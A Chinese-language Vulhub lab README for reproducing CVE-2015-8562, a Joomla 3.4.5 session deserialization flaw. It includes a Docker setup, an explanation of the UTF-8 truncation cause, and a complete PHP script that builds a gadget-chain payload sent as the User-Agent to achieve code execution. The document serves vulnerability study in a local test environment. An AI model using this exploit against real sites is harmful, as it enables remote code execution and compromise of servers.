Files
vulhub/joomla/CVE-2015-8562/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

87 lines
2.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Joomla 3.4.5 反序列化漏洞CVE-2015-8562
Joomla是一个开源免费的内容管理系统CMS基于PHP开发。
本漏洞根源是PHP5.6.13前的版本在读取存储好的session时如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中编码是utf8当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败最后触发反序列化漏洞。
通过Joomla中的Gadget可造成任意代码执行的结果。
详情可参考:
- https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html
影响版本
- Joomla 1.5.x, 2.x, and 3.x before 3.4.6
- PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45
## 测试环境
启动测试环境
```
docker compose up -d
```
启动后访问`http://your-ip:8080/`即可看到Joomla的首页包含测试数据
## 漏洞复现
然后我们不带User-Agent头先访问一次目标主页记下服务端返回的Cookie
![](2.png)
再用如下脚本生成POC[在线运行](https://onlinephp.io/c/e824b)
```php
<?php
class JSimplepieFactory {
}
class JDatabaseDriverMysql {
}
class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
}
class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
}
$a = new JDatabaseDriverMysqli();
$poc = serialize($a);
$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);
echo "123}__test|{$poc}\xF0\x9D\x8C\x86";
```
![](1.png)
将生成好的POC作为User-Agent带上第一步获取的Cookie发包这一次发包脏数据进入Mysql数据库然后同样的包再发一次我们的代码被执行
![](3.png)